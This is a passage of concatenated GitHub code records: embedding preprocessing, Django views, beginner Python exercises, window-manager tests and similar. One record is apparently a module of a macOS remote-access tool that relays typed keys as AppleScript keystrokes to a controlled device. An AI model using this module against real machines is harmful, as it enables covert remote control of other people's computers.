owlDatatypeProperty),\n    (areaHarvested, rdfsDomain, fertilizerClass),\n    (areaHarvested, rdfsRange, xsdDecimal),\n\n    (yearApplied, rdfType, owlDatatypeProperty),\n    (yearApplied, rdfsDomain, fertilizerClass),\n    (yearApplied, rdfsRange, xsdYear),\n\n    (cropApplied, rdfType, owlObjectProperty),\n    (cropApplied, rdfsDomain, fertilizerClass),\n    (cropApplied, rdfsRange, cropClass),\n\n]\n\nprefixes = [\n    (fertilizerNS, \"fertilizer\"),\n]","repo_name":"edgarfelizmenio/semanticopenstat","sub_path":"namespaces/fertilizer_namespace.py","file_name":"fertilizer_namespace.py","file_ext":"py","file_size_in_byte":2564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74622327049","text":"#!/usr/bin/env python3\r\n#coding:utf-8\r\n\r\n__author__ = 'xmxoxo<xmxoxo@qq.com>'\r\n\r\n# TX中文词向量数据处理\r\nimport os\r\nimport sys\r\nimport numpy as np\r\nimport argparse\r\n\r\n#import gensim\r\n#from gensim.models import KeyedVectors\r\n\r\n\r\n'''\r\n数据转换，把向量库转存为单独的文件分别保存\r\n词典文件 keywords.txt 和\r\n向量文件 vector.npy\r\n'''\r\ndef datprocess(filename, encoding='utf-8', outpath='./', dofilter=0, topn=0):\r\n    try:\r\n        i, f, total = 0, 0, 0\r\n        chars, vectors = [], []\r\n        print('开始转换向量,请稍等...')\r\n\r\n        for line in open(filename, \"r\", encoding=encoding):\r\n            i += 1\r\n            # 跳过第1行\r\n            if i==1:\r\n                total = int(line.split(' ')[0])\r\n                print('总记录数:%d' % total)\r\n                continue;\r\n            \r\n            x = line.split(' ')\r\n            # -----------------------------------------\r\n            # 在这里对词语进行过滤\r\n            if dofilter:\r\n                if wordfilter(x[0]):\r\n                    f +=1 # 记录被过滤掉多少行\r\n                    #print('\\n第%d行,被过滤：%s' % (i, x[0]))\r\n                    continue;\r\n            # -----------------------------------------\r\n            \r\n            chars.append(x[0])\r\n            v = [float(i) for i in x[1:]]\r\n            vectors.append(v)\r\n            if i % 500:\r\n                print('\\r[进度:%5.2f%% 已过滤:%5d] ��%-7d行: %-20s' % ((i*100/total), f, i, x[0][:18]) , end='' )\r\n            #print(x[0], v[:10])\r\n            if topn>0:\r\n                if i >= topn:break;\r\n\r\n        # 自动创建目录\r\n        if not os.path.exists(outpath):\r\n            os.mkdir(outpath)\r\n        \r\n        print()\r\n        # 保存字典\r\n        print('正在保存字典文件...')\r\n        savetofile('\\n'.join(chars), os.path.join(outpath, 'keywords.txt'))\r\n        # 保存向量\r\n        print('正在保存向量文件...')\r\n        np.save(os.path.join(outpath, 'vector.npy'), np.array(vectors))\r\n        print('转换完成, 处理%d行，过滤%d行，输出%d行。' % (i, f, i-f) )\r\n    \r\n    except Exception as e:\r\n        print(e)\r\n        return None\r\n\r\n# 读入文件\r\ndef readtxtfile(fname, encoding='utf-8'):\r\n    try:\r\n        with open(fname, 'r', encoding=encoding) as f:  \r\n            data=f.read()\r\n        return data\r\n    except Exception as e:\r\n        return ''\r\n    \r\n\r\n# 保存文本信息到文件\r\ndef savetofile(txt, filename, encoding='utf-8'):\r\n    pass\r\n    try:\r\n        with open(filename,'w', encoding=encoding) as f:  \r\n            f.write(str(txt))\r\n        return 1\r\n    except :\r\n        return 0\r\n\r\n# 词典数据分析\r\ndef key_analyze ():\r\n    # 加载数据\r\n    filename = 'keywords.txt'\r\n    #txt = readtxtfile(filename)\r\n    dat = readtxtfile(filename).splitlines()\r\n    # 计算长度\r\n    #lstLength = [len(x) fo r x in dat]\r\n    lstLength = map(len, dat)\r\n\r\n\r\n# 按字典进行批量替换\r\ndef replace_dict (txt, dictKey, isreg=0):\r\n    import re\r\n    for k,v in dictKey.items():\r\n        if isreg:\r\n            txt = re.sub(k, v, txt)\r\n        else:\r\n            txt = txt.replace(k,v)\r\n    return txt\r\n\r\n# 正则表达式批量判断\r\n# TF=0 表示任意一个不匹配就返回 True\r\n# TF=1 表示任意一个匹配了就返回 True\r\ndef IsMatch (txt, lstKey, tf=1):\r\n    import re\r\n    r = None\r\n    ret = False\r\n    for k in lstKey:\r\n        r = re.match(k,txt, re.U|re.I)\r\n        # bool(r) = True 表示不匹配\r\n        #if bool(r) != tf: \r\n        #if (tf & (not bool(r))) or (not tf and bool(r)):\r\n        if (tf==1 and r!=None) or (tf==0 and r==None):\r\n            ret = True\r\n            break\r\n    return ret\r\n\r\n# 过滤\r\ndef wordfilter (txt):\r\n    '''\r\n    以下过滤：\r\n\t* 纯数字\r\n\t* 带英文标点符号，且长度大于1的\r\n\t\t标点： [,;&:]\r\n\t* 重复3个以上\r\n\t\t例如：好好好， 天天天， 的的的\r\n\t* 纯英文\r\n    * 英文字母+英文标点\r\n    * 中文标点： [。,、“”？！：.（）~?-……)(/]\r\n    '''\r\n    lstKey = [\r\n            r'^\\d+$',               # 纯数字\r\n            r'^.+[\\-\\.,;&:\\'].*$',      # 带英文标点符号，且长度大于1的\r\n            r'^(.)\\1{2,}$',           # 重复3个以上\r\n            r'^([a-z])+$',                # 纯英文字母\r\n            r'^([a-z])[a-z\\-\\.,;&:]+$',   # 英文字母+英文标点\r\n            r'^.+[。、“”？！：（）~\\?\\-……)(/].*$', # 带中文标点的\r\n            ]\r\n    ret = IsMatch(txt, lstKey, tf=1)\r\n\r\n    return ret\r\n\r\n\r\ndef test ():\r\n    '''\r\n    '''\r\n    t = '涉及到哪些'\r\n    t = '23434'\r\n    t = 'strong'\r\n    t = 'jadfjdk-,1'\r\n\r\n    k = [r'^\\d+$']\r\n    #print(IsMatch(t, k, tf=1))\r\n    #print(IsMatch(t, k, tf=0))\r\n\r\n    print(wordfilter(t))\r\n    \r\ndef main ():\r\n    pass\r\n    deffile='./dat/Tencent_AILab_ChineseEmbedding.txt'\r\n    parser = argparse.ArgumentParser(description='腾讯词向量提取工具')\r\n    parser.add_argument('-datfile', default=deffile, type=str, help='数据文件名')\r\n    parser.add_argument('-outpath', default='./', type=str, help='输出目录')\r\n    parser.add_argument('-dofilter', default=0, type=int, help='是否过滤非中文，默认=0不过滤')\r\n    parser.add_argument('-topn', default=0, type=int, help='截取前N个向量,默认=0不截取')\r\n    args = parser.parse_args()\r\n    datfile = args.datfile\r\n    outpath = args.outpath\r\n    dofilter = args.dofilter\r\n    topn = args.topn\r\n    print('运行参数:', args)\r\n\r\n    datprocess(filename=datfile, outpath=outpath, dofilter=dofilter, topn=topn)\r\n    \r\n\r\nif __name__ == '__main__':\r\n    pass\r\n    main()\r\n","repo_name":"xmxoxo/Tencent_ChineseEmbedding_Process","sub_path":"dataprocess.py","file_name":"dataprocess.py","file_ext":"py","file_size_in_byte":5654,"program_lang":"python","lang":"zh","doc_type":"code","stars":22,"dataset":"github-code","pt":"16"}
+{"seq_id":"3577326094","text":"import os\r\nimport torch\r\n\r\n\r\nclass Config:\r\n    def __init__(self):\r\n        self.data_path = \"./squad\"\r\n        self.train_path = os.path.join(self.data_path, \"train-v1.1.json\")\r\n        self.dev_path = os.path.join(self.data_path, \"dev-v1.1.json\")\r\n        self.model_path = \"./model\"\r\n        self.hidden_size = 768\r\n        self.max_seq_length = 512\r\n        self.batch_size = 16\r\n        self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\n","repo_name":"nicoyang-21/patrnt_mrc_raw","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74667892489","text":"# algorithm AC1 actually changes the size of nums\n# this AC2 algorithm did not change the size of list\nclass Solution:\n    def removeElement(self, nums, val):\n        \"\"\"\n        :type nums: List[int]\n        :type val: int\n        :rtype: int\n        \"\"\"\n        length = len(nums)\n        nlength = 0\n        for index in range(length):\n            if nums[index] != val:\n                nums[nlength] = nums[index]\n                nlength += 1\n\n        return nlength","repo_name":"FrancisDShanks/CodingPractice","sub_path":"LeetCode/27. Remove Element/remove_element AC2.py","file_name":"remove_element AC2.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"34018477065","text":"word_guess = \"PURPLE\"\nguess_list = []\nwordBoard = [\"_\", \"_\", \"_\", \"_\", \"_\", \"_\"]\ndef showBoard():\n    print(\" \".join(wordBoard))\n#showBoard()\ninstances = []\ndef checkGuess(letterGuess):\n    guess_list.append(letterGuess)\n    found = word_guess.__contains__(letterGuess)\n    #print(found)\n    \n    if found: \n       # instances = []\n        \n        for index in range(0, len(word_guess)):\n            if (word_guess[index] == letterGuess):\n                instances.append(index)\n        #print(instances)\n        for each in instances:\n            #print(wordBoard[each])\n            wordBoard[each] = letterGuess\n        # print(wordBoard[each])\n    return found\n\nwrongGuesses = 5\nwinGame = False\nprint(\"Can you guess the secret color? \")\nshowBoard()\n\nwhile wrongGuesses > 0 and winGame == False: \n\n    guess = input(\"Guess a letter: \").upper()\n    alreadyGuessed = guess_list.__contains__(guess)\n    print(alreadyGuessed)\n    if alreadyGuessed:\n        print(\"You've already guessed this letter\")\n    else: \n        if checkGuess(guess):\n            print(instances)\n            if len(instances) > 1:\n                print(\"Yes there are \" + str(len(instances)) + \" \" + guess)\n            else:\n                print(\"Yes there is a \" + guess)\n            instances = []\n            showBoard()\n            check = wordBoard.__contains__(\"_\")\n            if check == False:\n                winGame = True\n        else:\n            wrongGuesses -=1\n            print(\"I'm sorry but there is no letter \" + guess + \" in the word\")\n            print(f\"You have {wrongGuesses} left. \")\n            showBoard()\nif wrongGuesses == 0:\n    print(\"You lose!!! The secret word was \" + word_guess) \nelse:\n    print(\"Congratulations!!! You Won!!\")","repo_name":"Jruff1215/ASF200","sub_path":"week3/guess.py","file_name":"guess.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10946887758","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom django.views.generic import TemplateView\nfrom django.db.models import Count, Avg\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.auth.decorators import login_required\nfrom django.views import View\n\nfrom .models import Resources, Category, ResourcesTag, Review, Rating\nfrom apps.user.models import User\nfrom .form import PostResourceForm\nfrom .utils import generate_cat_count_list\n\ndef home_page(request):\n    cnt = Resources.objects.all().count()\n    act_use = User.objects.filter(is_active=True).count()\n    res_per_cat = Resources.objects.values(\"cat_id__cat\").annotate(cnt=Count(\"cat_id\"))\n\n    context = {\n        'cnt': cnt,\n        'act_use': act_use,\n        'res_per_cat': res_per_cat,\n    }\n    \n    return render(request,\"resources/home.html\", context)\n\n\nclass ResourceDetailView(LoginRequiredMixin,View):\n    max_viewed_resources = 5\n    template_name = 'resources/resource_detail.html'\n\n    def get(self, request, id):\n        viewed_resources = request.session.get(\"viewed_resources\", [])\n        res = Resources.objects.get(pk=id)\n        viewed_resource = [id, res.title]\n\n        if viewed_resource in viewed_resources:\n            viewed_resources.remove(viewed_resource)\n        viewed_resources.insert(0, viewed_resource)\n        \n        viewed_resources = viewed_resources[:self.max_viewed_resources]\n        request.session[\"viewed_resources\"] = viewed_resources\n\n        resource_tags = ResourcesTag.objects.filter(resources_id=res)\n        reviews = Review.objects.filter(resources_id=res).count()\n        average_rating = Rating.objects.filter(resources_id=res).aggregate(avg_rating=Avg(\"rate\"))[\"avg_rating\"]\n\n        context = {\n            'res': res,\n            'resource_tags': resource_tags,\n            'reviews': reviews,\n            'average_rating': average_rating,\n        }\n\n        return render(request, self.template_name, context)\n\nclass ResourcePostView(LoginRequiredMixin, View):\n    template_name = \"resources/resource_post.html\"\n\n    def get(self, request):\n        form = PostResourceForm()\n        return render(\n            request,\n            self.template_name,\n            {\"form\": form},\n        )\n\n    def post(self, request):\n        form = PostResourceForm(data=request.POST)\n        if form.is_valid():\n            data = form.cleaned_data\n            new_resource = Resources.objects.create(**data)\n            new_resource.user_id = User.objects.get(pk=1)\n            new_resource.save()\n            return redirect(\"http://127.0.0.1:8000/\")\n\n        return render(\n            request,\n            self.template_name,\n            {\"form\": form},\n        )\n\n\nclass HomePage(TemplateView):\n    template_name = 'home_page.html'","repo_name":"TimoGronau/resourceshares","sub_path":"apps/resources/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15769148724","text":"import core.helper as h\nimport time\nimport base64\nimport json\ntry:\n    # Win32\n    from msvcrt import getch\nexcept ImportError:\n    # UNIX\n    def getch():\n        import sys, tty, termios\n        fd = sys.stdin.fileno()\n        old = termios.tcgetattr(fd)\n        try:\n            tty.setraw(fd)\n            return sys.stdin.read(1)\n        finally:\n            termios.tcsetattr(fd, termios.TCSADRAIN, old)\n\nclass command:\n    def __init__(self):\n        self.name = \"keyboard\"\n        self.description = \"Control device keyboard.\"\n        self.type = \"applescript\"\n        self.id = 115\n\n    def run(self,session,cmd_data):\n        h.info_info(\"Press Ctrl-C to stop.\")\n        h.info_info(\"Device keyboard:\")\n        while 1:\n            key = getch()\n            if key == chr(3):\n                return \"\"\n            payload = \"\"\"tell application \"System Events\"\n            keystroke \\\"\"\"\"+key+\"\"\"\\\"\n            end tell\"\"\"\n            session.send_command({\"cmd\":\"applescript\",\"args\":payload})\n        return \"\"\n\n","repo_name":"fengjixuchui/mouse","sub_path":"core/commands/macos/keyboard_macos.py","file_name":"keyboard_macos.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"22368046812","text":"from re import S\nfrom unittest import result\n\n\nlist_1 =['name', 'age', '1','19']\ndef main(a):\n    f =a[:len(a)//2]\n    f =list(reversed(f))\n    w =a[len(a)//2:]\n    w =list(reversed(w))\n    print(f+w)    \n\n\ndef fibonacce(n):\n    list =[]\n    a = 0\n    b = 1\n    for i in range(n):\n        c = a+b\n        list.append(c)\n        a = b\n        b = c\n    print(list)\n\n#fibonacce(15)\n\ndef addition ():\n    nomber1 = int(input('chislo'))\n    nomber2 = int(input('chislo'))\n    summa = nomber1 + nomber2\n    print(summa)\n# addition()\n\ndef calc ():\n    nomber1 = int(input('chislo'))\n    nomber2 = int(input('chislo'))\n    summa1 = nomber1 - nomber2\n    print(summa1)\n# calc()\n\ndef calcaddintion ():\n    calc()\n    addition()\n\n#calcaddintion()\n\n'''\ndef fail (a):\n    # a =input()\n    with open(a ,'w') as b:\n        b.write('qwerty')\nfail('pythim.py')\n'''\nimport random\ndef gen_number():\n    list =['1','4','5','7','9','0']\n    a = ['0444']\n    for i in range(6):\n        d =random.choice(list)\n        a.append(d)\n        number = ''.join(a)\n    print(number)\n\n\n# a = '348597'\n\n# def digitize(n):\n#     list =[]\n#     for i in reversed(n):\n#         list.append(i)\n#     print(list)\n\n# digitize(a)\n\n# def main(n):\n#     result = n+10\n#     return result\n\n\n# print(main(20))\n\n\n\n# def my_func(*args, **kwargs):\n\n#     print(kwargs) \n\n\n# my_func(fdfdf=374634)\n\n\ndef index(name, year, job, current_year=2022):\n    age=current_year-year\n    return f'Hello {name}! YA znau chto tebe {age} let. ty doljen pomenyat svou profeesion {job}'\n\n#print(index('Bruno', 2000, 'doctor'))\n\ndef add(n,b):\n    return n+b \n#print(add(10,20))\n \ndef substract(n,b):\n    return n-b\n#print(substract(20,30))\n\ndef multiply(m,k):\n    return m*k\n#print(multiply(20,30))\n\ndef divide(l,d):\n    return l/d\n#print(divide(20,30))\n\ndef collichestvo(b):\n    a =0\n    for i in b:\n        if i == ' ':\n            pass\n        else:\n            a+=1\n    return a \n#print(collichestvo('werty qwert'))    \n\ndef direc (**kwargs):\n    return kwargs\n\n#print(direc(name='dosmart'))    \n\ndef menu(food, drink):\n    with open ('menu.txt', 'w')as s:\n        s.write(f'{food}, {drink}')\nmenu('lagman', 'cola')\n\ndef file (n):\n    with open (n, 'w')as d:\n        d.write(' ')\n        return d\n(file('fhfjhjhjh'))\n\n'''\ndef function():\n    print( 'я главная функция')\n\n    def function_1():\n         print('я вложенная функция')\n    \n    function_1()\nfunction()\n'''\n'''\ndef dictionary(**kwargs):\n    keys = kwargs.keys()\n    values = kwargs.values()\n    \n    keys = tuple(keys)\n    values = tuple(values)\n    print(keys)\n    print(values)\nprint(dictionary(name='dos', age=14))\n'''\ndef simpe(d):\n    a =2\n    while d%a!=0:\n        a+=1\n    return d==a\n(simpe(3))\n\ndef txt(a,b):\n    ls =[]\n    ls.append(a)\n    ls.append(b)\n    return ls\n#print(txt('qwerty',4456))\n'''\ndef chislo(n):\n    if n==1:\n        for i in range(n):\n            print('1')\nchislo(1)\nelif n==10:\n    for i in range(n):\n        print('10')\nchislo(10)\n'''\ndef work (n, zp=5000):\n    return f'{n}: {zp}'\n#print(work('dos', zp=9000))\n\nimport random \ndef chislo (n):\n    ls =[]\n    for i in range (n):\n        ls.append(random.randint(1 ,9))\n    return ls\n#print(chislo(10))\n\n\ndef guess_number():\n    tries = 1\n    random_number = random.randint(0,10)\n    number = int(input('Выберите число в диапазоне от 0 до 10: '))\n    if number == random_number:\n        print('Вы выиграли!')\n    else:\n        while random_number != number:\n            number = int(input('Попробуйте еще раз! '))\n            tries += 1\n            if tries == 5:\n                print('Вы воспользовались всеми тремя шансами! ВЫ проиграли')\n                break\n            if random_number > number:\n                print('бери выше')\n            elif random_number < number:\n                print('бери ниже')\n            if number == random_number:\n                print('Вы выиграли!')\n\nguess_number()","repo_name":"zhoomartov/first_rep","sub_path":"def.py","file_name":"def.py","file_ext":"py","file_size_in_byte":4043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6212552312","text":"import gi\ngi.require_version(\"Gtk\", \"3.0\")\nfrom gi.repository import Gtk\n\n\nclass Handler:\n    def onDestroy(self, *args):\n        Gtk.main_quit()\n\n    def b_clicked(self, button):\n        print(\"Hello World!\")\n\n    def q(self, *args):\n        print(\"خروج\")\n        Gtk.main_quit()\n        exit()\n        \n        \nbuilder = Gtk.Builder()\nbuilder.add_from_file(\"a.glade\")\nbuilder.connect_signals(Handler())\n\nwindow = builder.get_object(\"w\")\nwindow.show_all()\n\nGtk.main()\n","repo_name":"SaeedGhazi/AF","sub_path":"a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32147781127","text":"input()   # input 은 \"입력!!!!\" 할때 사용하는 함수 입니다.\n          # 만약 다음과 같은 상태에서 실행을 할 경우\n          # 프로그램이 끝나지 않고 사용자의 입력을 기다리고 있는 것을 알 수 있습니다.\n          # 하단의 terminal 에 커서를 가져다 놓고 Enter 를 누르면 프로그램이 종료됩니다.\n\ninput(\"입력해주세요 : \") # 다음의 코드를 실행해보면 terminal 창에\n                        # 입력해주세요 : 라는 문구가 뜨면서 입력을 기다리는 상태가 됩니다.\n                        # 즉, input 괄호안에 있는 값은 \n                        # '입력을 기다리면서 사용자에게 출력해주는 문구' 입니다.\n                        # 마찬가지로 실행했을 때 , Enter 를 누르면 프로그램이 종료됩니다.\n\ninput(\"입력 : \") # 따라서 input 은 괄호안에 자료를 출력하고, 사용자의 입력을 기다립니다.\n                 # 사용자가 입력을 완료하면(Enter 를 치면), 해당값을 반환!!!!!!! 합니다.\n                 # 만약 사용자가 abcd 를 입력해주면!!\n                 # input(\"입력 : \") 자체가 abcd 로 바뀝니다!!!\n\ninput(\"입력 : \")\n'abcd'           # type 때 배웠던 반환에 대해서 생각을 해보면 이는 의미없는 코드입니다.\n\nprint(input(\"입력 : \")) # 이 코드를 쳐보면 이해하실 수 있습니다.\n\n\n# 하지만 input 은 아래와 같이 입력값을 저장하는 용도로 많이 사용됩니다.\na = input(\"a를 입력해주세요 : \") # name = '한승협' 과 같은 형태입니다!!!\n\n","repo_name":"hina0510/1_python","sub_path":"실습/kgit(006)-input.py.py","file_name":"kgit(006)-input.py.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8419920580","text":"from herbstluftwm.types import Point\nfrom conftest import RawImage\nfrom conftest import HlwmBridge\nimport itertools\nimport pytest\n\nfont_pool = [\n    '-*-fixed-medium-r-*-*-13-*-*-*-*-*-*-*',\n    'Dejavu Sans:pixelsize=14:bold'\n]\n\n\n@pytest.mark.parametrize(\"xvfb\", [{'xrender': v} for v in [True, False]], indirect=True)\n@pytest.mark.parametrize(\"hlwm_process\", [{'transparency': v} for v in [True, False]], indirect=True)\ndef test_window_border_plain(hlwm, x11):\n    color = (0x9f, 0xbc, 0x12)\n    bw = 5  # border width\n    handle, _ = x11.create_client()\n    hlwm.attr.theme.color = RawImage.rgb2string(color)\n    hlwm.attr.theme.border_width = bw\n    img = x11.decoration_screenshot(handle)\n    assert img.pixel(0, 0) == color\n    expected_count = 2 * bw * img.width  # horizontal border line\n    expected_count += 2 * bw * img.height  # vertical border\n    expected_count -= 4 * bw * bw  # we counted each twice\n    assert img.color_count(color) == expected_count\n\n\n@pytest.mark.parametrize(\"xvfb\", [{'xrender': v} for v in [True, False]], indirect=True)\n@pytest.mark.parametrize(\"hlwm_process\", [{'transparency': v} for v in [True, False]], indirect=True)\ndef test_window_border_inner(hlwm, x11):\n    color = (239, 2, 190)\n    bw = 5  # border width\n    inner_color = (48, 225, 26)\n    inner_bw = 2\n    hlwm.attr.theme.color = RawImage.rgb2string(color)\n    hlwm.attr.theme.border_width = bw\n    hlwm.attr.theme.inner_color = RawImage.rgb2string(inner_color)\n    hlwm.attr.theme.inner_width = inner_bw\n    handle, _ = x11.create_client()\n    img = x11.decoration_screenshot(handle)\n    # we check the inner border color in the upper left corner\n    for x in range(0, bw):\n        for y in range(0, bw):\n            threshold = bw - inner_bw\n            expected_color = inner_color if x >= threshold and y >= threshold else color\n            assert img.pixel(x, y) == expected_color\n\n\n@pytest.mark.parametrize(\"xvfb\", [{'xrender': v} for v in [True, False]], indirect=True)\n@pytest.mark.parametrize(\"hlwm_process\", [{'transparency': v} for v in [True, False]], indirect=True)\ndef test_window_border_outer(hlwm, x11):\n    color = (239, 2, 190)\n    bw = 6  # border width\n    outer_color = (48, 225, 26)\n    outer_bw = 3\n    hlwm.attr.theme.color = RawImage.rgb2string(color)\n    hlwm.attr.theme.border_width = bw\n    hlwm.attr.theme.outer_color = RawImage.rgb2string(outer_color)\n    hlwm.attr.theme.outer_width = outer_bw\n    handle, _ = x11.create_client()\n    img = x11.decoration_screenshot(handle)\n    # check the upper left corner\n    for x in range(0, bw):\n        for y in range(0, bw):\n            threshold = outer_bw\n            expected_color = outer_color if x < threshold or y < threshold else color\n            assert img.pixel(x, y) == expected_color\n\n\ndef screenshot_with_title(x11, win_handle, title):\n    \"\"\" set the win_handle's window title and then\n    take a screenshot\n    \"\"\"\n    x11.set_window_title(win_handle, title)\n    # double check that hlwm has updated the client's title:\n    winid = x11.winid_str(win_handle)\n    hlwm = HlwmBridge.INSTANCE\n    assert hlwm.attr.clients[winid].title() == title\n    # then, take the screenshot:\n    return x11.decoration_screenshot(win_handle)\n\n\n@pytest.mark.parametrize(\"font\", font_pool)\ndef test_title_every_letter_is_drawn(hlwm, x11, font):\n    \"\"\"the number of letters has some effect\"\"\"\n    font_color = (255, 0, 0)  # a color available everywhere\n    hlwm.attr.theme.color = 'black'\n    hlwm.attr.theme.title_color = RawImage.rgb2string(font_color)\n    hlwm.attr.theme.title_height = 14\n    hlwm.attr.theme.padding_top = 4\n    hlwm.attr.theme.title_font = font\n    handle, _ = x11.create_client()\n\n    # set the window title to some word\n    count1 = screenshot_with_title(x11, handle, 'test').color_count(font_color)\n\n    # duplicate the word in the title\n    count2 = screenshot_with_title(x11, handle, 'test test').color_count(font_color)\n\n    # then the number of pixels of the font_color should have doubled:\n    assert count1 != 0\n    assert count1 * 2 == count2\n\n\n@pytest.mark.parametrize(\"font\", font_pool)\ndef test_title_different_letters_are_drawn(hlwm, x11, font):\n    \"\"\"changing letters changes the image\"\"\"\n    font_color = (255, 0, 0)  # a color available everywhere\n    hlwm.attr.theme.color = 'black'\n    hlwm.attr.theme.title_color = RawImage.rgb2string(font_color)\n    hlwm.attr.theme.title_height = 14\n    hlwm.attr.theme.padding_top = 4\n    hlwm.attr.theme.title_font = font\n    handle, _ = x11.create_client()\n\n    # put some characters in the title that take only few pixels\n    count1 = screenshot_with_title(x11, handle, ',.b').color_count(font_color)\n\n    # alter characters to others taking more pixels\n    count2 = screenshot_with_title(x11, handle, ';:B').color_count(font_color)\n\n    # then the number of pixels should have increased\n    assert count1 < count2\n\n\n@pytest.mark.parametrize(\"font\", font_pool)\n@pytest.mark.parametrize(\"ellipsis\", [\n    '',\n    '...',\n    '…',\n    10 * 'a_very_long_string_that_takes_all_the_available_space',\n])\ndef test_title_does_not_exceed_width(hlwm, x11, font, ellipsis):\n    font_color = (255, 0, 0)  # a color available everywhere\n    bw = 30\n    hlwm.attr.theme.color = 'black'\n    hlwm.attr.theme.title_color = RawImage.rgb2string(font_color)\n    hlwm.attr.theme.title_height = 14\n    hlwm.attr.theme.padding_top = 0\n    hlwm.attr.theme.padding_left = 0\n    hlwm.attr.theme.padding_right = 0\n    hlwm.attr.theme.border_width = bw\n    hlwm.attr.theme.title_font = font\n    hlwm.attr.settings.ellipsis = ellipsis\n    handle, winid = x11.create_client()\n\n    # set a title that is too wide to be displayed in its entirety:\n    w = hlwm.attr.clients[winid].decoration_geometry().width\n\n    if font[0] != '-':\n        three_bytes_per_glyph = 'ヘールブストルフト'\n        assert len(three_bytes_per_glyph.encode('UTF-8')) == 3 * len(three_bytes_per_glyph)\n        # for xft fonts, also test utf8 window titles\n        utf8titles = [\n            w * '♥',\n            (w // 3) * 'äüöß',\n            (w // len(three_bytes_per_glyph)) * three_bytes_per_glyph,\n        ]\n    else:\n        # for plain X fonts, it does not seem to work in tox/pytest\n        # (but strangely, it works in a manual Xephyr session)\n        utf8titles = []\n\n    for title in [w * '=', w * '|'] + utf8titles:\n        img = screenshot_with_title(x11, handle, title)\n        # verify that the title does not span too wide to the\n        # left or to the right:\n        # find leftmost non-black pixel:\n        leftmost_font_x = None\n        for x in range(0, w):\n            for y in range(0, 14):  # only verify top `title_height`-many pixels\n                if img.pixel(x, y) != (0, 0, 0):\n                    leftmost_font_x = x\n                    break\n            if leftmost_font_x is not None:\n                break\n        # find rightmost non-black pixel:\n        rightmost_font_x = None\n        for x in range(w - 1, 0, -1):\n            for y in range(0, 14):  # only verify top `title_height`-many pixels\n                if img.pixel(x, y) != (0, 0, 0):\n                    rightmost_font_x = x\n                    break\n            if rightmost_font_x is not None:\n                break\n\n        assert leftmost_font_x >= bw\n        assert rightmost_font_x < bw + hlwm.attr.clients[winid].content_geometry().width\n\n\n@pytest.mark.parametrize(\"font\", font_pool)\ndef test_title_ellipsis_is_used(hlwm, x11, font):\n    font_color = (255, 0, 0)  # a color available everywhere\n    bw = 30\n    hlwm.attr.theme.color = 'black'\n    hlwm.attr.theme.title_color = RawImage.rgb2string(font_color)\n    hlwm.attr.theme.title_height = 14\n    hlwm.attr.theme.border_width = bw\n    hlwm.attr.theme.title_font = font\n    hlwm.attr.settings.ellipsis = 'abc'\n\n    handle, winid = x11.create_client()\n    assert screenshot_with_title(x11, handle, '   ').color_count(font_color) == 0\n    # set a title that is too wide to be displayed in its entirety:\n    w = hlwm.attr.clients[winid].decoration_geometry().width\n    count1 = screenshot_with_title(x11, handle, w * ' ').color_count(font_color)\n    assert count1 > 0\n    hlwm.attr.settings.ellipsis = 'abcabc'\n    count2 = screenshot_with_title(x11, handle, w * ' ').color_count(font_color)\n    assert count2 > 0\n    assert count2 == count1 * 2\n\n\n@pytest.mark.parametrize(\"frame_bg_transparent\", ['on', 'off'])\ndef test_frame_bg_transparent(hlwm, x11, frame_bg_transparent):\n    hlwm.attr.settings.show_frame_decorations = 'all'\n    hlwm.attr.settings.frame_gap = 24  # should not matter\n    hlwm.attr.settings.frame_border_width = 0\n    hlwm.attr.settings.frame_bg_active_color = '#ef0000'\n    hlwm.attr.settings.frame_bg_transparent = frame_bg_transparent\n    tw = 8\n    hlwm.attr.settings.frame_transparent_width = tw\n\n    [frame_win] = x11.get_hlwm_frames()\n    img = x11.screenshot(frame_win)\n    w = img.width\n    h = img.height\n\n    for x, y in [(2, 2), (4, 2), (2, 8), (3, 4), (7, 7), (w - 1, h - 1), (w - tw, h - tw)]:\n        assert img.pixel(x, y) == (0xef, 0, 0), \\\n            f\"pixel at {x}, {y}\"\n\n    # if there is a hole in the frame decoration, it seems that black is used\n    # (either as a default value or because that's the color of the root window)\n    color_expected = (0, 0, 0) if frame_bg_transparent == 'on' else (0xef, 0, 0)\n    for x, y in [(tw, tw), (tw, tw + 2), (w - tw - 1, h - tw - 1), (50, h - tw - 1), (w // 2, h // 2)]:\n        assert img.pixel(x, y) == color_expected, \\\n            f\"pixel at {x}, {y}\"\n\n\n@pytest.mark.parametrize(\"frame_bg_transparent\", ['on', 'off'])\ndef test_frame_holes_for_tiled_client(hlwm, x11, frame_bg_transparent):\n    hlwm.attr.settings.show_frame_decorations = 'all'\n    hlwm.attr.settings.frame_bg_active_color = '#efcd32'\n    hlwm.attr.settings.frame_bg_transparent = frame_bg_transparent\n    hlwm.attr.settings.frame_transparent_width = 8\n\n    def expect_frame_bg_color(winid, expected_color):\n        img = x11.screenshot(frame_win)\n        w = img.width\n        h = img.height\n        for x, y in [(0, 0), (0, h - 1), (w - 1, 0), (w - 1, h - 1)]:\n            assert 